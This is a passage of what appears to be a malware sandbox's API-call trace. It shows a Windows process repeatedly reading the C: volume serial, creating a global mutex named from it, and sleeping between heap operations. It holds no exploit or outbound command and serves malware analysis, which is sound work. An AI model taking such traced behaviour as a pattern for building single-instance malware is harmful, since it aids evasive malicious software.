lpDst="C:\\") returned 0x4 [0273.072] GetProcessHeap () returned 0x560000 [0273.072] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0273.072] GetProcessHeap () returned 0x560000 [0273.072] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0273.072] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.073] GetProcessHeap () returned 0x560000 [0273.073] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0273.073] GetProcessHeap () returned 0x560000 [0273.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0273.073] GetProcessHeap () returned 0x560000 [0273.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0273.073] GetProcessHeap () returned 0x560000 [0273.073] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0273.073] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0273.073] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x128 [0273.074] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x0) returned 0x0 [0273.074] GetProcessHeap () returned 0x560000 [0273.074] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0273.074] GetProcessHeap () returned 0x560000 [0273.074] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0273.074] ReleaseMutex (hMutex=0x128) returned 1 [0273.074] CloseHandle (hObject=0x128) returned 1 [0273.074] Sleep (dwMilliseconds=0x3e8) [0274.771] GetProcessHeap () returned 0x560000 [0274.771] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0274.772] GetProcessHeap () returned 0x560000 [0274.772] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a788 [0274.772] GetProcessHeap () returned 0x560000 [0274.772] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0274.772] GetProcessHeap () returned 0x560000 [0274.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0274.773] GetProcessHeap () returned 0x560000 [0274.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0274.773] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a788, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.773] GetProcessHeap () returned 0x560000 [0274.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0274.773] GetProcessHeap () returned 0x560000 [0274.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0274.774] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.774] GetProcessHeap () returned 0x560000 [0274.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0274.775] GetProcessHeap () returned 0x560000 [0274.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0274.775] GetProcessHeap () returned 0x560000 [0274.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0274.775] GetProcessHeap () returned 0x560000 [0274.775] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56fea0 [0274.775] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0274.775] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0274.776] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0274.776] GetProcessHeap () returned 0x560000 [0274.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0274.776] GetProcessHeap () returned 0x560000 [0274.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0274.776] ReleaseMutex (hMutex=0x200) returned 1 [0274.776] CloseHandle (hObject=0x200) returned 1 [0274.777] Sleep (dwMilliseconds=0x3e8) [0276.472] GetProcessHeap () returned 0x560000 [0276.472] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a788 [0276.472] GetProcessHeap () returned 0x560000 [0276.472] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0276.473] GetProcessHeap () returned 0x560000 [0276.473] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0276.473] GetProcessHeap () returned 0x560000 [0276.473] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x594480 [0276.473] GetProcessHeap () returned 0x560000 [0276.473] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594480 | out: hHeap=0x560000) returned 1 [0276.473] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0276.473] GetProcessHeap () returned 0x560000 [0276.473] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0276.473] GetProcessHeap () returned 0x560000 [0276.473] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0276.473] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0276.474] GetProcessHeap () returned 0x560000 [0276.474] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0276.474] GetProcessHeap () returned 0x560000 [0276.474] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0276.474] GetProcessHeap () returned 0x560000 [0276.474] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0276.474] GetProcessHeap () returned 0x560000 [0276.474] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0276.474] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0276.475] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x208 [0276.475] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0276.475] GetProcessHeap () returned 0x560000 [0276.475] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0276.475] GetProcessHeap () returned 0x560000 [0276.475] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0276.475] ReleaseMutex (hMutex=0x208) returned 1 [0276.475] CloseHandle (hObject=0x208) returned 1 [0276.475] Sleep (dwMilliseconds=0x3e8) [0277.584] GetProcessHeap () returned 0x560000 [0277.584] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0277.584] GetProcessHeap () returned 0x560000 [0277.584] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a788 [0277.584] GetProcessHeap () returned 0x560000 [0277.584] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0277.584] GetProcessHeap () returned 0x560000 [0277.584] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x594480 [0277.584] GetProcessHeap () returned 0x560000 [0277.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594480 | out: hHeap=0x560000) returned 1 [0277.585] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a788, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0277.585] GetProcessHeap () returned 0x560000 [0277.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0277.585] GetProcessHeap () returned 0x560000 [0277.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0277.585] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0277.586] GetProcessHeap () returned 0x560000 [0277.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0277.586] GetProcessHeap () returned 0x560000 [0277.586] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0277.586] GetProcessHeap () returned 0x560000 [0277.586] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0277.586] GetProcessHeap () returned 0x560000 [0277.586] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0277.586] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0277.587] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x208 [0277.587] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0277.587] GetProcessHeap () returned 0x560000 [0277.587] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0277.587] GetProcessHeap () returned 0x560000 [0277.587] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0277.587] ReleaseMutex (hMutex=0x208) returned 1 [0277.587] CloseHandle (hObject=0x208) returned 1 [0277.587] Sleep (dwMilliseconds=0x3e8) [0278.672] GetProcessHeap () returned 0x560000 [0278.672] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a788 [0278.672] GetProcessHeap () returned 0x560000 [0278.672] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0278.672] GetProcessHeap () returned 0x560000 [0278.672] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0278.672] GetProcessHeap () returned 0x560000 [0278.673] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x594480 [0278.673] GetProcessHeap () returned 0x560000 [0278.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594480 | out: hHeap=0x560000) returned 1 [0278.673] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0278.673] GetProcessHeap () returned 0x560000 [0278.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0278.673] GetProcessHeap () returned 0x560000 [0278.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0278.673] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0278.674] GetProcessHeap () returned 0x560000 [0278.674] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0278.674] GetProcessHeap () returned 0x560000 [0278.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0278.674] GetProcessHeap () returned 0x560000 [0278.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0278.674] GetProcessHeap () returned 0x560000 [0278.674] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0278.674] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0278.675] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x208 [0278.675] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0278.675] GetProcessHeap () returned 0x560000 [0278.675] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0278.675] GetProcessHeap () returned 0x560000 [0278.675] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0278.675] ReleaseMutex (hMutex=0x208) returned 1 [0278.675] CloseHandle (hObject=0x208) returned 1 [0278.675] Sleep (dwMilliseconds=0x3e8) [0279.811] GetProcessHeap () returned 0x560000 [0279.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0279.811] GetProcessHeap () returned 0x560000 [0279.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a788 [0279.811] GetProcessHeap () returned 0x560000 [0279.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0279.811] GetProcessHeap () returned 0x560000 [0279.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x594480 [0279.811] GetProcessHeap () returned 0x560000 [0279.811] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594480 | out: hHeap=0x560000) returned 1 [0279.812] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a788, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0279.812] GetProcessHeap () returned 0x560000 [0279.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0279.812] GetProcessHeap () returned 0x560000 [0279.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0279.812] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0279.813] GetProcessHeap () returned 0x560000 [0279.813] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0279.813] GetProcessHeap () returned 0x560000 [0279.813] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0279.813] GetProcessHeap () returned 0x560000 [0279.813] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0279.813] GetProcessHeap () returned 0x560000 [0279.813] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0279.813] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0279.813] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x208 [0279.814] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0279.814] GetProcessHeap () returned 0x560000 [0279.814] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0279.814] GetProcessHeap () returned 0x560000 [0279.814] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0279.814] ReleaseMutex (hMutex=0x208) returned 1 [0279.814] CloseHandle (hObject=0x208) returned 1 [0279.814] Sleep (dwMilliseconds=0x3e8) [0280.937] GetProcessHeap () returned 0x560000 [0280.937] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0280.937] GetProcessHeap () returned 0x560000 [0280.937] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87d88 [0280.937] GetProcessHeap () returned 0x560000 [0280.938] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0280.938] GetProcessHeap () returned 0x560000 [0280.938] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b742a0 [0280.938] GetProcessHeap () returned 0x560000 [0280.938] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b742a0 | out: hHeap=0x560000) returned 1 [0280.938] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87d88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0280.938] GetProcessHeap () returned 0x560000 [0280.938] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: hHeap=0x560000) returned 1 [0280.938] GetProcessHeap () returned 0x560000 [0280.938] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0280.938] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0280.939] GetProcessHeap () returned 0x560000 [0280.939] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0280.939] GetProcessHeap () returned 0x560000 [0280.940] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574598 [0280.940] GetProcessHeap () returned 0x560000 [0280.940] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0280.940] GetProcessHeap () returned 0x560000 [0280.940] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56ff20 [0280.940] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0280.940] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x140 [0280.940] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x0) returned 0x0 [0280.940] GetProcessHeap () returned 0x560000 [0280.941] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574598 | out: hHeap=0x560000) returned 1 [0280.941] GetProcessHeap () returned 0x560000 [0280.941] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0280.941] ReleaseMutex (hMutex=0x140) returned 1 [0280.941] CloseHandle (hObject=0x140) returned 1 [0280.941] Sleep (dwMilliseconds=0x3e8) [0282.876] GetProcessHeap () returned 0x560000 [0282.876] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87d88 [0282.876] GetProcessHeap () returned 0x560000 [0282.876] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0282.876] GetProcessHeap () returned 0x560000 [0282.876] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0282.876] GetProcessHeap () returned 0x560000 [0282.876] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b742a0 [0282.877] GetProcessHeap () returned 0x560000 [0282.877] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b742a0 | out: hHeap=0x560000) returned 1 [0282.877] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0282.877] GetProcessHeap () returned 0x560000 [0282.877] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: hHeap=0x560000) returned 1 [0282.877] GetProcessHeap () returned 0x560000 [0282.877] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0282.877] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0282.878] GetProcessHeap () returned 0x560000 [0282.878] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0282.878] GetProcessHeap () returned 0x560000 [0282.878] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574598 [0282.878] GetProcessHeap () returned 0x560000 [0282.878] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0282.878] GetProcessHeap () returned 0x560000 [0282.878] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56ff20 [0282.878] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0282.878] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0282.879] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0282.879] GetProcessHeap () returned 0x560000 [0282.879] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574598 | out: hHeap=0x560000) returned 1 [0282.879] GetProcessHeap () returned 0x560000 [0282.879] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0282.879] ReleaseMutex (hMutex=0x1e0) returned 1 [0282.879] CloseHandle (hObject=0x1e0) returned 1 [0282.879] Sleep (dwMilliseconds=0x3e8) [0284.120] GetProcessHeap () returned 0x560000 [0284.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0284.120] GetProcessHeap () returned 0x560000 [0284.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87d88 [0284.120] GetProcessHeap () returned 0x560000 [0284.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0284.120] GetProcessHeap () returned 0x560000 [0284.120] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b87a58 [0284.120] GetProcessHeap () returned 0x560000 [0284.120] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87a58 | out: hHeap=0x560000) returned 1 [0284.120] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87d88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0284.121] GetProcessHeap () returned 0x560000 [0284.121] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: hHeap=0x560000) returned 1 [0284.121] GetProcessHeap () returned 0x560000 [0284.121] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0284.121] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0284.122] GetProcessHeap () returned 0x560000 [0284.122] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0284.122] GetProcessHeap () returned 0x560000 [0284.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574598 [0284.122] GetProcessHeap () returned 0x560000 [0284.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0284.122] GetProcessHeap () returned 0x560000 [0284.122] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56ff20 [0284.122] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0284.122] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f8 [0284.123] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x0 [0284.123] GetProcessHeap () returned 0x560000 [0284.123] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574598 | out: hHeap=0x560000) returned 1 [0284.123] GetProcessHeap () returned 0x560000 [0284.123] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0284.123] ReleaseMutex (hMutex=0x1f8) returned 1 [0284.123] CloseHandle (hObject=0x1f8) returned 1 [0284.123] Sleep (dwMilliseconds=0x3e8) [0285.269] GetProcessHeap () returned 0x560000 [0285.269] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87d88 [0285.269] GetProcessHeap () returned 0x560000 [0285.269] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0285.269] GetProcessHeap () returned 0x560000 [0285.270] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0285.270] GetProcessHeap () returned 0x560000 [0285.270] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b742a0 [0285.271] GetProcessHeap () returned 0x560000 [0285.271] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b742a0 | out: hHeap=0x560000) returned 1 [0285.271] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0285.271] GetProcessHeap () returned 0x560000 [0285.271] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: 